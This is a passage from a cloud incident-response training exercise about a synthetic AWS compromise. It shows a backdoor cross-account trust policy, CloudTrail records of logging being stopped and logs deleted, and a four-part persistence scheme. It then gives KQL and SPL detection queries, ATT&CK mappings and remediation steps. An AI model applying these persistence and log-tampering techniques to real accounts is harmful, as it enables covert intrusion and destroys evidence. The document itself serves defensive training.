"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
},
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::123456789012:root"
},
"Action": "sts:AssumeRole"
},
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::999888777666:root"
},
"Action": "sts:AssumeRole" // BACKDOOR: External account access
}
]
}
Cross-Account Backdoor
The threat actor added a third trust policy statement allowing AWS account 999888777666 (SYNTHETIC — attacker-controlled) to assume the admin-lambda-execution role. This provides:
- Persistent access even if all access keys in account 123456789012 are rotated
- External entry point from a completely separate AWS account
- Difficult to detect — blends in with the existing trust policy statements
- Full admin access — the role has AdministratorAccess attached
MITRE ATT&CK mapping: T1098.003 — Account Manipulation: Additional Cloud Roles.
4.4 CloudTrail Evasion Techniques¶
Educational Content
The following techniques are documented for detection and defense purposes only. Understanding attacker evasion methods is essential for building resilient detection pipelines.
The threat actor attempted to reduce detection visibility.
// SYNTHETIC CloudTrail — Attacker disabling logging
{
"Records": [
{
"eventTime": "2026-03-20T09:42:00Z",
"eventSource": "cloudtrail.amazonaws.com",
"eventName": "StopLogging",
"sourceIPAddress": "192.0.2.50",
"userIdentity": {
"type": "AssumedRole",
"arn": "arn:aws:sts::123456789012:assumed-role/admin-lambda-execution/escalation-session"
},
"requestParameters": {
"name": "arn:aws:cloudtrail:us-east-1:123456789012:trail/acme-management-trail"
},
"responseElements": null
},
{
"eventTime": "2026-03-20T09:42:15Z",
"eventSource": "s3.amazonaws.com",
"eventName": "DeleteObjects",
"sourceIPAddress": "192.0.2.50",
"userIdentity": {
"type": "AssumedRole",
"arn": "arn:aws:sts::123456789012:assumed-role/admin-lambda-execution/escalation-session"
},
"requestParameters": {
"bucketName": "acme-cloudtrail-logs-123456789012",
"delete": {
"objects": [
{"key": "AWSLogs/123456789012/CloudTrail/us-east-1/2026/03/20/09_15.json.gz"},
{"key": "AWSLogs/123456789012/CloudTrail/us-east-1/2026/03/20/09_16.json.gz"},
{"key": "AWSLogs/123456789012/CloudTrail/us-east-1/2026/03/20/09_22.json.gz"},
{"key": "AWSLogs/123456789012/CloudTrail/us-east-1/2026/03/20/09_23.json.gz"}
]
}
}
},
{
"eventTime": "2026-03-20T09:43:00Z",
"eventSource": "ec2.amazonaws.com",
"eventName": "DeleteFlowLogs",
"sourceIPAddress": "192.0.2.50",
"userIdentity": {
"type": "AssumedRole",
"arn": "arn:aws:sts::123456789012:assumed-role/admin-lambda-execution/escalation-session"
},
"requestParameters": {
"DeleteFlowLogsRequest": {
"FlowLogId": ["fl-0000000000000001"]
}
}
}
]
}
Evasion Techniques Observed
| Time | Technique | ATT&CK ID | Description |
|---|---|---|---|
| 09:42:00 | StopLogging | T1562.008 | Disabled CloudTrail to stop recording API calls |
| 09:42:15 | DeleteObjects | T1070.002 | Deleted CloudTrail log files covering the attack window |
| 09:43:00 | DeleteFlowLogs | T1562.008 | Deleted VPC Flow Logs to remove network evidence |
Defensive countermeasures:
- Enable CloudTrail log file integrity validation (digest files)
- Use S3 Object Lock (WORM) on CloudTrail buckets to prevent log deletion
- Send logs to a separate AWS account (log archive account) with restricted access
- Create CloudWatch Alarms for
StopLoggingandDeleteTrailevents - Enable AWS Organizations SCPs to deny
cloudtrail:StopLoggingfor all users
4.5 Analysis Questions — Part 4¶
Question 8: How many persistence mechanisms did the threat actor establish? List each one and explain why it survives credential rotation.
Answer
Four persistence mechanisms:
| # | Mechanism | Survives Credential Rotation? | Why? |
|---|---|---|---|
| 1 | IAM user svc-health-monitor with AdministratorAccess + access keys | Partially | Has its own access keys, but can be found via IAM audit. Survives rotation of the original dev-deploy-svc keys. |
| 2 | Lambda function acme-health-check-prod with admin role | Yes | Runs with its own IAM role (admin-lambda-execution), independent of any user credentials. Triggered automatically by EventBridge. |
| 3 | EventBridge rule acme-health-check-schedule (15-min schedule) | Yes | Serverless — no credentials needed. Automatically triggers the Lambda every 15 minutes. |
| 4 | Cross-account trust on admin-lambda-execution role (account 999888777666) | Yes | External account can assume the admin role at any time. Completely independent of the victim account's IAM users and access keys. |
Even if the security team rotates all access keys and deletes the backdoor IAM user, mechanisms 2, 3, and 4 remain active.
Question 9: The attacker attempted CloudTrail evasion. What evidence would still exist despite the evasion attempts?
Answer
Despite the evasion attempts, the following evidence would still exist:
- The StopLogging and DeleteObjects events themselves — These events were logged by CloudTrail before logging was stopped (CloudTrail logs its own stopping event)
- CloudTrail digest files — If integrity validation was enabled, digest files in a separate S3 path verify log completeness
- CloudWatch Logs — If CloudTrail was configured to send to CloudWatch Logs, copies exist outside S3
- AWS Config records — Resource configuration changes (IAM user creation, role policy changes) are tracked independently
- S3 access logs — If enabled on the CloudTrail bucket, the DeleteObjects calls are logged separately
- GuardDuty findings — Anomalous API calls, credential usage from unusual IPs, and CloudTrail disruption generate findings
- IAM Access Analyzer — Would flag the cross-account trust policy as external access
- VPC Flow Logs in CloudWatch — If flow logs were also streamed to CloudWatch (not just S3), the delete only removed the Flow Log resource, not existing log data
Part 5: Detection & Response¶
5.1 KQL Detection Queries¶
The following KQL queries detect each phase of the attack in Microsoft Sentinel (ingesting CloudTrail via data connector).
// Detect IAM user API calls from previously unseen IP addresses
// Data source: AWSCloudTrail
let known_ips = dynamic(["10.0.0.0/8", "172.16.0.0/12"]);
AWSCloudTrail
| where TimeGenerated > ago(24h)
| where UserIdentityType == "IAMUser"
| where SourceIpAddress !startswith "10." and SourceIpAddress !startswith "172.16."
| where EventSource in ("iam.amazonaws.com", "s3.amazonaws.com", "sts.amazonaws.com")
| summarize
EventCount = count(),
UniqueAPIs = dcount(EventName),
APIs = make_set(EventName),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated)
by SourceIpAddress, UserIdentityUserName, UserIdentityAccessKeyId
| where EventCount > 5 and UniqueAPIs > 3
| sort by EventCount desc
// Detect AssumeRole to admin roles followed by IAM modifications
// Data source: AWSCloudTrail
let escalation_window = 15m;
let assume_events = AWSCloudTrail
| where TimeGenerated > ago(24h)
| where EventName == "AssumeRole"
| where RequestParameters contains "admin"
| project
AssumeTime = TimeGenerated,
SourceIP = SourceIpAddress,
AssumedRole = tostring(parse_json(RequestParameters).roleArn),
OriginalUser = UserIdentityArn,
SessionName = tostring(parse_json(RequestParameters).roleSessionName);
let iam_modifications = AWSCloudTrail
| where TimeGenerated > ago(24h)
| where EventSource == "iam.amazonaws.com"
| where EventName in ("CreateUser", "AttachUserPolicy", "CreateAccessKey",
"PutUserPolicy", "CreateRole", "UpdateAssumeRolePolicy")
| project
ModifyTime = TimeGenerated,
ModifySourceIP = SourceIpAddress,
ModifyAction = EventName,
ModifyTarget = tostring(parse_json(RequestParameters).userName),
ModifyIdentity = UserIdentityArn;
assume_events
| join kind=inner (iam_modifications) on $left.SourceIP == $right.ModifySourceIP
| where ModifyTime between (AssumeTime .. (AssumeTime + escalation_window))
| project AssumeTime, ModifyTime, SourceIP, OriginalUser, AssumedRole,
ModifyAction, ModifyTarget
// Detect IMDS credential theft from EKS pods
// Data source: AWSCloudTrail
AWSCloudTrail
| where TimeGenerated > ago(24h)
| where UserIdentityType == "AssumedRole"
| where UserIdentityArn contains "eks-node-role"
| where EventName in ("ListBuckets", "GetObject", "ListUsers", "ListRoles",
"CreateUser", "CreateAccessKey", "AssumeRole")
| where SourceIpAddress startswith "10." // Calls from within VPC
| summarize
EventCount = count(),
APIs = make_set(EventName),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated)
by SourceIpAddress, UserIdentityArn
| where EventCount > 3
// Detect Lambda function creation with admin roles
// Data source: AWSCloudTrail
AWSCloudTrail
| where TimeGenerated > ago(7d)
| where EventName == "CreateFunction20150331"
| extend FunctionRole = tostring(parse_json(RequestParameters).role)
| extend FunctionName = tostring(parse_json(RequestParameters).functionName)
| extend FunctionEnv = tostring(parse_json(RequestParameters).environment)
| where FunctionRole contains "admin" or FunctionRole contains "AdministratorAccess"
| project
TimeGenerated,
SourceIpAddress,
UserIdentityArn,
FunctionName,
FunctionRole,
FunctionEnv
// Detect CloudTrail disruption events — HIGH FIDELITY ALERT
// Data source: AWSCloudTrail
AWSCloudTrail
| where TimeGenerated > ago(24h)
| where EventName in ("StopLogging", "DeleteTrail", "UpdateTrail",
"PutEventSelectors")
| project
TimeGenerated,
EventName,
SourceIpAddress,
UserIdentityArn,
UserIdentityType,
RequestParameters,
ErrorCode
| extend Severity = case(
EventName == "StopLogging", "CRITICAL",
EventName == "DeleteTrail", "CRITICAL",
"HIGH")
// Detect IAM role trust policy modifications adding external accounts
// Data source: AWSCloudTrail
AWSCloudTrail
| where TimeGenerated > ago(7d)
| where EventName == "UpdateAssumeRolePolicy"
| extend PolicyDoc = tostring(parse_json(RequestParameters).policyDocument)
| extend RoleName = tostring(parse_json(RequestParameters).roleName)
| where PolicyDoc matches regex @"arn:aws:iam::\d{12}:root"
| extend ExternalAccounts = extract_all(@"arn:aws:iam::(\d{12}):root", PolicyDoc)
| mv-expand ExternalAccount = ExternalAccounts
| where tostring(ExternalAccount) != "123456789012" // Filter out own account
| project
TimeGenerated,
SourceIpAddress,
UserIdentityArn,
RoleName,
ExternalAccount
5.2 SPL Detection Queries¶
The following SPL queries detect the same attack phases in Splunk (ingesting CloudTrail via AWS Add-on).
index=aws sourcetype=aws:cloudtrail
userIdentity.type=IAMUser
eventSource IN ("iam.amazonaws.com", "s3.amazonaws.com", "sts.amazonaws.com")
NOT sourceIPAddress="10.*" NOT sourceIPAddress="172.16.*"
| stats count as event_count,
dc(eventName) as unique_apis,
values(eventName) as api_calls,
earliest(_time) as first_seen,
latest(_time) as last_seen
by sourceIPAddress, userIdentity.userName, userIdentity.accessKeyId
| where event_count > 5 AND unique_apis > 3
| convert ctime(first_seen) ctime(last_seen)
| sort - event_count
index=aws sourcetype=aws:cloudtrail
(eventName=AssumeRole requestParameters.roleArn="*admin*")
OR (eventSource="iam.amazonaws.com"
eventName IN ("CreateUser", "AttachUserPolicy", "CreateAccessKey",
"PutUserPolicy", "CreateRole", "UpdateAssumeRolePolicy"))
| eval phase=case(
eventName="AssumeRole", "1_escalation",
eventName="CreateUser", "2_persistence",
eventName="AttachUserPolicy", "3_policy_attach",
eventName="CreateAccessKey", "4_credential_gen",
1=1, "5_other")
| stats earliest(_time) as first_seen,
latest(_time) as last_seen,
values(eventName) as actions,
values(phase) as attack_phases,
dc(eventName) as unique_actions
by sourceIPAddress, userIdentity.arn
| where unique_actions >= 3
| convert ctime(first_seen) ctime(last_seen)
index=aws sourcetype=aws:cloudtrail
eventName IN ("StopLogging", "DeleteTrail", "UpdateTrail",
"PutEventSelectors", "DeleteFlowLogs")
| eval severity=case(
eventName IN ("StopLogging", "DeleteTrail"), "CRITICAL",
eventName="DeleteFlowLogs", "HIGH",
1=1, "MEDIUM")
| table _time, eventName, sourceIPAddress, userIdentity.arn,
requestParameters.name, severity
| sort _time
index=aws sourcetype=aws:cloudtrail
eventName="CreateFunction20150331"
| spath path=requestParameters.role output=function_role
| spath path=requestParameters.functionName output=function_name
| spath path=requestParameters.environment.variables output=env_vars
| where like(function_role, "%admin%") OR like(function_role, "%AdministratorAccess%")
| table _time, sourceIPAddress, userIdentity.arn, function_name,
function_role, env_vars
5.3 Full MITRE ATT&CK Mapping¶
| Tactic | Technique ID | Technique Name | Evidence |
|---|---|---|---|
| Initial Access | T1552.001 | Unsecured Credentials: Credentials in Files | Hardcoded AWS access keys in public repository |
| Initial Access | T1078.004 | Valid Accounts: Cloud Accounts | Compromised dev-deploy-svc credentials used for API access |
| Discovery | T1580 | Cloud Infrastructure Discovery | ListBuckets, ListClusters API calls from 192.0.2.50 |
| Discovery | T1087.004 | Account Discovery: Cloud Account | ListUsers, ListRoles IAM enumeration |
| Discovery | T1069.003 | Permission Groups Discovery: Cloud Groups | ListAttachedUserPolicies, ListAttachedRolePolicies |
| Privilege Escalation | T1078.004 | Valid Accounts: Cloud Accounts | AssumeRole to admin-lambda-execution |
| Privilege Escalation | T1548 | Abuse Elevation Control Mechanism | iam:PassRole wildcard enabling role assumption to any service |
| Persistence | T1136.003 | Create Account: Cloud Account | Created IAM user svc-health-monitor with admin access |
| Persistence | T1098.003 | Account Manipulation: Additional Cloud Roles | Added external account 999888777666 to role trust policy |
| Persistence | T1053.007 | Scheduled Task/Job: Serverless Execution | EventBridge rule triggering Lambda backdoor every 15 minutes |
| Lateral Movement | T1021.007 | Remote Services: Cloud Services | Pivoted from IAM to EKS via admin role |
| Lateral Movement | T1611 | Escape to Host | Container escape via privileged pod + Docker socket |
| Credential Access | T1552.005 | Unsecured Credentials: Cloud Instance Metadata API | IMDS credential theft from EKS node |
| Credential Access | T1528 | Steal Application Access Token | Kubernetes service account token harvesting |
| Collection | T1530 | Data from Cloud Storage | S3 bucket enumeration and object listing |
| Defense Evasion | T1562.008 | Impair Defenses: Disable or Modify Cloud Logs | StopLogging, DeleteFlowLogs |
| Defense Evasion | T1070.002 | Indicator Removal: Clear Cloud Logs | Deleted CloudTrail log files from S3 |
| Defense Evasion | T1036.005 | Masquerading: Match Legitimate Name | Lambda named acme-health-check-prod, user named svc-health-monitor |
| Exfiltration | T1537 | Transfer Data to Cloud Account | Cross-account role trust enables data movement to attacker account |
5.4 Full Attack Timeline¶
2026-03-19 22:14:00 Developer commits AWS credentials to public repository
2026-03-20 09:15:22 Threat actor uses leaked keys — ListBuckets (recon begins)
2026-03-20 09:15:45 GetBucketAcl — discovers public bucket misconfiguration
2026-03-20 09:16:03 ListUsers — enumerates IAM users
2026-03-20 09:16:18 ListRoles — discovers admin-lambda-execution role
2026-03-20 09:16:30 ListAttachedUserPolicies — reviews own permissions
2026-03-20 09:22:15 AssumeRole → admin-lambda-execution (privilege escalation)
2026-03-20 09:23:01 CreateUser → svc-health-monitor (persistence)
2026-03-20 09:23:18 AttachUserPolicy → AdministratorAccess (admin backdoor)
2026-03-20 09:23:35 CreateAccessKey → persistent access keys generated
2026-03-20 09:30:00 EKS cluster enumeration — discovers acme-prod-cluster
2026-03-20 09:32:00 Identifies privileged pod data-processor-7b8c9d
2026-03-20 09:33:00 Container escape via host filesystem mount + Docker socket
2026-03-20 09:34:00 IMDS credential theft — obtains EKS node role credentials
2026-03-20 09:35:00 CreateFunction → Lambda backdoor (acme-health-check-prod)
2026-03-20 09:36:30 PutRule → EventBridge schedule (15-minute beacon)
2026-03-20 09:40:00 UpdateAssumeRolePolicy → cross-account trust backdoor
2026-03-20 09:42:00 StopLogging → CloudTrail disabled (evasion)
2026-03-20 09:42:15 DeleteObjects → CloudTrail logs deleted (anti-forensics)
2026-03-20 09:43:00 DeleteFlowLogs → VPC Flow Logs removed (evasion)
5.5 Analysis Questions — Part 5¶
Question 10: Using the KQL or SPL queries provided, what would be the single highest-fidelity detection rule for this attack? Why?
Answer
The CloudTrail Tampering detection (StopLogging/DeleteTrail events) is the highest-fidelity alert because:
- Near-zero false positive rate — There is almost never a legitimate reason to stop CloudTrail logging in a production environment
- Self-documenting — The
StopLoggingevent is recorded by CloudTrail even as it is being disabled (the event that stops logging is itself logged) - Universal relevance — Any attacker attempting to cover tracks must interact with CloudTrail, making this a catch-all detection
- Actionable — This should trigger an immediate P1 incident response with automatic re-enabling of logging
This maps to the "Assume Breach" principle — detect the evasion, not just the attack.
Question 11: Design a detection strategy that would catch this attack at the earliest possible stage. What specific CloudTrail event would trigger the first alert?
Answer
The earliest detection point is the credential exposure stage:
- First alert trigger:
ListBucketsorListUsersAPI call from IP192.0.2.50at 09:15:22Z — an IP address never previously associated with thedev-deploy-svcuser - Detection rule: Baseline legitimate source IPs for each IAM user/access key. Alert when API calls originate from a new source IP, especially for service accounts that should only operate from known CIDR ranges (e.g., CI/CD pipelines, specific VPCs)
- Complementary controls:
- Pre-attack: GitHub Secret Scanning or truffleHog to detect the credential exposure before the attacker finds it (would have caught this ~11 hours before exploitation)
- IAM Access Key age alerts — The key was created for CI/CD but used interactively
- IP-based IAM conditions — Add
aws:SourceIpconditions to the IAM policy to restrict API calls to known IP ranges - GuardDuty —
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltrationwould flag the unusual source IP
Question 12: What remediation steps should the IR team take, in priority order, to fully contain this compromise?
Answer
Immediate containment (first 30 minutes):
- Disable compromised access keys: Deactivate
AKIA0000SYNTHETIC01(dev-deploy-svc) andAKIA0000SYNTHETIC03(svc-health-monitor) - Re-enable CloudTrail: Start logging immediately to regain visibility
- Delete backdoor IAM user: Remove
svc-health-monitorand all attached policies/keys - Remove cross-account trust: Update
admin-lambda-executiontrust policy to remove account999888777666 - Delete Lambda backdoor: Remove
acme-health-check-prodfunction andacme-health-check-scheduleEventBridge rule
Short-term remediation (first 24 hours):
- Rotate all credentials: All IAM access keys, EKS kubeconfig, container registry tokens
- Fix S3 bucket ACL: Enable S3 Block Public Access at account level, remove AllUsers/AuthenticatedUsers grants
- Fix pod security: Remove privileged settings, implement Pod Security Standards (Restricted)
- Restrict IAM policy: Remove
iam:PassRolewildcard, scopests:AssumeRoleto specific roles, apply least privilege - Enable IMDSv2: Require session tokens for IMDS on all EC2/EKS nodes
Long-term hardening:
- Enable SCPs to prevent CloudTrail disruption account-wide
- Implement S3 Object Lock on CloudTrail buckets
- Deploy secret scanning in CI/CD pipelines
- Enable GuardDuty and IAM Access Analyzer
- Implement Kubernetes Pod Security Admission controller
- Conduct IAM access review across all roles and policies
Benchmark Tie-In¶
| Control | Title | Relevance |
|---|---|---|
| Nexus SecOps-170 | Cloud Security Architecture | VPC, IAM, and container security configuration |
| Nexus SecOps-171 | Cloud IAM Governance | Least-privilege IAM policies, access key management |
| Nexus SecOps-172 | Cloud Logging and Monitoring | CloudTrail, GuardDuty, VPC Flow Logs |
| Nexus SecOps-175 | Container Security | Pod security contexts, RBAC, image scanning |
| Nexus SecOps-061 | Incident Detection | Cloud-native detection queries and alert rules |
| Nexus SecOps-065 | Incident Containment | Cloud credential rotation and resource isolation |
Key Takeaways¶
-
Credential exposure is the #1 cloud risk — A single leaked access key can lead to full account compromise in minutes. Implement automated secret scanning in all repositories.
-
IAM is the perimeter in the cloud — Overpermissive policies (especially
iam:PassRolewith wildcards and broadsts:AssumeRole) create escalation paths that attackers actively seek. -
Container security requires defense in depth — Privileged containers, mounted host filesystems, and Docker sockets each provide independent escape paths. Pod Security Standards (Restricted profile) prevent all of these.
-
Cloud persistence is multi-layered — Attackers establish redundant persistence (IAM users, Lambda functions, cross-account trusts, scheduled triggers) specifically to survive partial remediation.
-
Log integrity is non-negotiable — CloudTrail disruption is the attacker's first priority after gaining admin access. Immutable log storage (S3 Object Lock, separate log archive account) and tamper-detection alerts are essential.
-
Detection must span all layers — Effective cloud security requires monitoring IAM activity, network flows, container orchestration events, and serverless execution simultaneously.
Further Reading¶
- MITRE ATT&CK Cloud Matrix: attack.mitre.org/matrices/enterprise/cloud
- AWS CloudTrail Documentation: docs.aws.amazon.com/cloudtrail
- CIS Amazon EKS Benchmark: cisecurity.org/benchmark/amazon_elastic_kubernetes_service
- Rhino Security Labs — Pacu (AWS Exploitation Framework): rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework
- Kubernetes Pod Security Standards: kubernetes.io/docs/concepts/security/pod-security-standards
- AWS IAM Privilege Escalation Methods: bishopfox.com/blog/privilege-escalation-in-aws
- MITRE ATT&CK for Containers: attack.mitre.org/matrices/enterprise/containers
- RFC 5737 (Documentation IPs): tools.ietf.org/html/rfc5737